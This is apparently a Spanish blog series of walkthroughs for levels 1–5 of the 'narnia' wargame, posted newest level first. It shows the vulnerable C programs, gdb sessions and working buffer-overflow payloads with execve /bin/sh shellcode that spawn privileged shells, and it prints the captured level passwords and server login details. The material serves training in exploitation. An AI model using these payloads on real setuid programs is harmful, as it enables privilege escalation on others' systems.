Este nivel, aunque parece distinto, realmente se resuelve igual que el nivel 3.

LEVEL5

El código de este nivel borra las variables de entorno antes de hacer un strcpy.

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
 
extern char **environ;
 
int main(int argc,char **argv){
        char buffer[100];
        int i;
 
        for(i = 0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));
 
        if(argc>1){
                seteuid(1006);
                strcpy(buffer,argv[1]);
        }
 
        return 0;
}

Al principio pensé que habría que hacer algo con las variables de entorno, pero finalmente la solución es volver a inyectar un shellcode en el búfer.

level5@narnia:/wargame$ ./level5 `echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
> \xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x70\xfb\xff\xbf"`
sh-3.1$ cat /home/level6/.passwd
gO2CErxY
sh-3.1$

El siguiente nivel no es tan sencillo a primera vista.

Parece que sigo con suerte y he conseguido pasar también el nivel 4 del wargame narnia, que es algo gracioso.

LEVEL4

Como siempre, vamos a ver qué pasa si ejecutamos el fichero correspondiente:/wargame/level4.

level4@narnia:/wargame$ /wargame/level4
usage, /wargame/level4 file, will send contents of file 2 /dev/null
level4@narnia:/wargame$ /wargame/level4 ./level4.c
copied contents of ./level4.c to a safer place... (/dev/null)
level4@narnia:/wargame$ /wargame/level4 ./pollo
error opening ./pollo

Parece que el objetivo es proporcionar un fichero y lo envía al agujero negro de nuestro sistema.

Analicemos el código para ver dónde hay que hacer la trampa para conseguir que /home/level5/.passwd acabe copiándose a algún fichero que no sea /dev/null.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char **argv){
 
        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];
 
        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
                exit(-1);
        }
 
        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
                exit(-1);
        }
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);
                exit(-1);
        }
 
        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
 
        /* close 'em */
        close(ifd);
        close(ofd);
 
        exit(1);
}

De nuevo el problema está en el uso de strcpy y el objetivo es machacar ifile con el contenido del primer argumento del comando. Si nuestro argumento tiene más de 32 caracteres, conseguiremos sobre-escribir /dev/null con el nombre de un fichero destino y hacer que ifile sea /home/level5/.passwd.

Hacer el desbordamiento es fácil, el problema es decidir qué incluimos. Lo que hay que darse cuenta, después de probar mucho, es de que si desbordamos ifile esta cadena no terminará en null.

Por lo tanto, el fichero de salida será una sub-cadena del fichero de entrada. Total que, una vez que te das cuenta de esto, ya es cuestión de ir probando para que el path coincida con el tamaño adecuado.

Recordad que sólo puede escribirse en /tmp.

level4@narnia:/tmp$ cd /tmp
level4@narnia:/tmp$ touch passwd
level4@narnia:/tmp$ chmod 777 passwd
level4@narnia:/tmp$ /wargame/level4 //../tmp/../tmp/../home/level5/.passwd
copied contents of //../tmp/../tmp/../home/level5/.passwd to a safer place... (passwd)
level4@narnia:/tmp$ cat passwd
i3DgDz91

Y aquí tenemos la contraseña para el siguiente nivel.

Por cierto, las contraseñas cambian cada cierto tiempo, así que tendréis que volver a pasar todos los niveles otra vez cada vez que lo hagan.

Continuando con la saga, y después de muchos segfaults por fin he conseguido pasar el nivel 3 de este juego, que os recomiendo para desempolvar esos conocimientos de ‘bajo nivel’.

A continuación os cuento las claves para pasar este nivel.

LEVEL3

Comenzamos ejecutando /wargame/level3 a ver qué hace.

level3@narnia:/wargame$ ./level3
Usage: ./level3 argument
level3@narnia:/wargame$ ./level3 sevillasecandbeer
sevillasecandbeerlevel3@narnia:/wargame$

Parece que simplemente escupe el primer argumento. Vemos el código.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char * argv[]){
        char buf[128];
 
        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        seteuid(1004);
        strcpy(buf,argv[1]);
        printf("%s", buf);
 
        return 0;
}

Está claro que lo que hay que hacer es aprovechar que usan strcpy, una función que sabemos que es muy peligrosa porque no limita la entrada de datos al buffer.

En el nivel anterior, la idea era aprender a crear una shellcode., en este nivel se trata de aprender a ejecutarlo explotando un buffer overflow.

Lo primero es documentarse un poco. El famoso (y viejo) artículo de Aleph One ‘Smashing The Stack For Fun And Profit‘ y este tutorial fueron de gran ayuda.

Así que empecé a probar con gdb para intentar machacar la dirección de vuelta de la llamada a la función strcpy (tuve que probar muchas más veces :) ).

$ gdb /wargame/level3
(gdb) run `perl -e 'print "A"x138'`BBBB
Starting program: /wargame/level3 `perl -e 'print "A"x138'`BBBB
 
Program received signal SIGSEGV, Segmentation fault.
0xb7004242 in ?? ()
 
(gdb) run `perl -e 'print "A"x140'`BBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level3 `perl -e 'print "A"x140'`BBBB
 
Program received signal SIGSEGV, Segmentation fault.
x42424242 in ?? (

Una vez conocido el número de caracteres que hay que insertar para desbordar la dirección de retorno, hay que pensar con qué lo rellenamos. Lo mejor es incluir una shellcode, la que ya usamos en el nivel anterior y rellenar con NOPs el resto.

El siguiente volcado de memoria nos enseña cómo queda tras el desbordamiento anterior con ‘A’s y ‘B’s. (los 0x41414141).

gdb) x/150 $esp
0xbffff9c0:     0x00000000      0xbffffa34      0xbffffa40      0x00000000
0xbffff9d0:     0xb7fdfff4      0x00000000      0xb8000cc0      0xbffffa08
0xbffff9e0:     0xbffff9c0      0xb7ec7e6d      0x00000000      0x00000000
0xbffff9f0:     0x00000000      0xb7ff6090      0xb7ec7ded      0xb8000ff4
0xbffffa00:     0x00000002      0x08048350      0x00000000      0x08048371
0xbffffa10:     0x08048404      0x00000002      0xbffffa34      0x080484e0
0xbffffa20:     0x08048490      0xb7ff6c40      0xbffffa2c      0xb80014e4
0xbffffa30:     0x00000002      0xbffffb3f      0xbffffb4f      0x00000000
0xbffffa40:     0xbffffbe0      0xbffffbf0      0xbffffc00      0xbffffc1f
0xbffffa50:     0xbffffc32      0xbffffc3e      0xbffffeb9      0xbffffec5
0xbffffa60:     0xbffffef2      0xbfffff08      0xbfffff17      0xbfffff24
0xbffffa70:     0xbfffff2f      0xbfffff38      0xbfffff4f      0xbfffff61
0xbffffa80:     0xbfffff69      0xbfffff78      0xbfffffaa      0xbfffffca
0xbffffa90:     0x00000000      0x00000020      0xb7fea400      0x00000021
0xbffffaa0:     0xffffe000      0x00000010      0x0febfbff      0x00000006
0xbffffab0:     0x00001000      0x00000011      0x00000064      0x00000003
0xbffffac0:     0x08048034      0x00000004      0x00000020      0x00000005
0xbffffad0:     0x00000007      0x00000007      0xb7feb000      0x00000008
0xbffffae0:     0x00000000      0x00000009      0x08048350      0x0000000b
0xbffffaf0:     0x000003eb      0x0000000c      0x000003eb      0x0000000d
0xbffffb00:     0x000003eb      0x0000000e      0x000003eb      0x00000017
0xbffffb10:     0x00000000      0x0000000f      0xbffffb2b      0x00000000
0xbffffb20:     0x00000000      0x00000000      0x69000000      0x00363836
0xbffffb30:     0x00000000      0x00000000      0x00000000      0x2f000000
0xbffffb40:     0x67726177      0x2f656d61      0x6576656c      0x4100336c
0xbffffb50:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb60:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb70:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb80:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb90:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffba0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbb0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbd0:     0x41414141      0x41414141      0x42414141      0x00424242
0xbffffbe0:     0x4c454853      0x622f3d4c      0x622f6e69      0x00687361
0xbffffbf0:     0x4d524554      0x7263733d      0x2d6e6565      0x00656362
0xbffffc00:     0x5f485353      0x45494c43      0x383d544e      0x34312e39
0xbffffc10:     0x2e362e30      0x34352032

Los NOPs son instrucciones que… no hacen nada. Su código hexadecimal es 90. Vamos a poner una dirección de retorno que caiga en medio, por ejemplo: 0xbffffb60.

Starting program: /wargame/level3 `echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x50\xfb\xff\xbf"`
sh-3.1$ ls
level1    level2    level3    level4    level5    level6    level7    level8
level1.c  level2.c  level3.c  level4.c  level5.c  level6.c  level7.c  level8.c
sh-3.1$ id
uid=1003(level3) gid=1003(level3) groups=1003(level3)
sh-3.1$ exit

Parece que lo hemos conseguido. Sin embargo, como se ejecuta dentro de gdb aún no tenemos el uid efectivo de level4.

Volvemos a probar desde la línea de comandos.

level3@narnia:/wargame$ EGG=`echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x60\xfb\xff\xbf"`
level3@narnia:/wargame$ ./level3 $EGG
sh-3.1$ id                  
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1003(level3)
sh-3.1$ cat /home/level4/.passwd
ohb%a6Oh

Y ya tenemos la contraseña para el próximo nivel, que es curioso.

Seguimos con la resolución de este ‘sencillito’ wargame. Si bien el nivel anterior era para empezar a sentir el cosquilleo del desbordamiento de búfer con un sencillo ejercicio, en este nivel se pide introducir datos para ejecutar.

LEVEL2

Igual que en el nivel anterior, ejecutamos /wargame/level2 y nos dice lo siguiente:

Give me something to execute at the env-variable EGG

Como no está muy claro, vamos a ver si el código nos lo aclara.

#include <stdio.h>
#include <stdlib.h>
 
int main(){
        int (*ret)();
 
        if((ret=getenv("EGG"))==NULL){
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }
 
        printf("Trying to execute EGG!\n");
        seteuid(1003);
 
        ret();
 
        return 0;
}

Lo que hace el código es declarar un puntero a función, apuntarlo hacia lo que le enviemos en la variable de entorno EGG y ejecutarlo. Así que lo que debemos hacer es poner algo ejecutable en EGG o, de lo contrario tendremos el tan temido segmentation fault.

Por un tiempo quise generar el código yo mismo. Incluso cogí el libro del ‘deep C secrets’ para ver cómo hacerlo. Pero finalmente pensé que era más sencillo copiar el código de algún sitio. Buscando ‘shellcode’ llegué a esta página.

En cualquier caso, os recomiendo que leáis la página que es muy formativa.

Pillando el shellcode del epígrafe “The execve examples number I (no arguments):” lo podemos cargar en la variable EGG y lanzar level2. Y así conseguir ejecutar /bin/sh con effective uid level3.

level2@narnia:/wargame$ EGG=`echo -e "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42"` ./level2
sh-3.1$ id
uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1002(level2)
sh-3.1$ cat /home/level3/.passwd
Ieng#um4

Y esta es la contraseña del próximo nivel, que empieza a complicarse.

Hace tiempo intenté hacerme el wargame Leviathan de intruded.net (cuando @roman_soft lo publicó en twitter) sin mucho éxito. La verdad es que nunca había jugado a un juego así y no tenía muy claro cómo hacerlo.

El otro día me picó otra vez la curiosidad y me decidí a hacerlo, con algo de ayuda, si hacía falta (que hizo :)).

Si os pilla la curiosidad y queréis ir pillando la gracia de este tipo de juegos y lo que se aprende de ellos (que para eso se juega, realmente) podéis echar un ojo a la solución por @joseselvi.

Podéis ir intentando resolverlo vosotros mismos y, si os atrancáis leed hasta que os venga la inspiración.

Pero bueno, este artículo no va precisamente de este juego sino del siguiente en dificultad que publica intruded. Se trata de narnia. Este lo he empezado a hacer yo solo y, si la solución está por ahí, yo aún ni la he buscado.

El objetivo es, igual que en el anterior, ir consiguiendo acceso a cuentas de otros usuarios. Se empieza con el usuario level1 y el objetivo es conseguir level2 y así sucesivamente.

Para ello, suele haber unos ficheros en /wargame con setuid a los que hay que encontrar alguna vulnerabilidad, truco o lo que sea que haga que puedas impersonar al otro usuario lo suficiente como para leer un fichero .passwd en su directorio personal.

En el caso de narnia te dan el código fuente del ejecutable para ayudarte a encontrar la solución.

Sin más dilación, os describo como resolví el nivel 1.

LEVEL1

Lo primero que debéis hacer es entrar en el servidor:

ssh -p 10102 level1@narnia.intruded.net

La contraseña es ‘narnia’.

El fichero que nos interesa es /wargame/level1. Si lo ejecutamos nos pregunta
por un valor para convertir una cadena en otra (???).

Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance:

Si echamos un ojo al código, entendemos que se trata de un desbordamiento de búffer que debemos hacer al array buf para que cambie la variable val.

#include <stdio.h>
#include <stdlib.h>
 
int main(){
        long val=0x41414141;
        char buf[20];
 
        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);
 
        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);
 
        if(val==0xdeadbeef){
                seteuid(1002);
                system("/bin/sh");
        } else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }
 
        return 0;
}

Por lo tanto tenemos que introducir 24 caracteres, 20 para llenar buf y 4 para cambiar val. Los primeros veinte caracteres dan igual, así que centremonos en los 4 últimos. Para extraer los valores he usado irb, la interfaz interactiva de ruby (en mi equipo, no en narnia).

$ irb
>> val=[0xde, 0xad, 0xbe, 0xef]
=> [222, 173, 190, 239]
>> val.map { |c| c.chr }
=> ["\336", "\255", "\276", "\357"]
>> val.map { |c| c.chr }.reverse
=> ["\357", "\276", "\255", "\336"]
>> val.map { |c| c.chr }.reverse.join
=> "\357\276\255\336"

Después de probar varias veces te das cuenta de que los caracteres entran al revés en val, de ahí el reverse. Y ahora sólo hay que probarlo. Pero hay un problema, estos caracteres no son imprimibles (por eso aparecen en octal). Por lo tanto, ¿cómo se los metemos al fichero.

Si probáis a imprimirlos y capturar de la pantalla, no os va a funcionar. Entonces, envíémoslos con una redirección:

echo -e "00001111000011110000\357\276\255\336" | ./level1

Bieennn… ya somos level2, ¿verdad? Comprobemoslo:

level1@narnia:~$ id
uid=1001(level1) gid=1001(level1) groups=1001(level1)

Ups. ¿Qué ha pasado? Pues que cuando ./level1 se ‘convierte’ en /bin/sh espera recibir la entrada estándar, pero esta está conectada a la salida de echo que se ha acabado, así que esta shell se acaba también y no somos capaces de usarla :(.

Por mucho que intenté meter los caracteres directamente, no pude hacerlo. Así que probé y probé y busqué y busqué. Encontré la solución en esta pregunta de StackOverflow. Así que hice lo siguiente:

echo -e "00001111000011110000\357\276\255\336" > /tmp/dead
(cat /tmp/dead; cat) | ./level1
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: 00001111000011110000ᆳ�
val: 0xdeadbeef

Ahora sí que tenemos una shell con level2:

id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1001(level1)
cat /home/level2/.passwd
eij0OoG+

Y esta es la contraseña para el siguiente nivel. Ya os contaré si consigo pasarlo.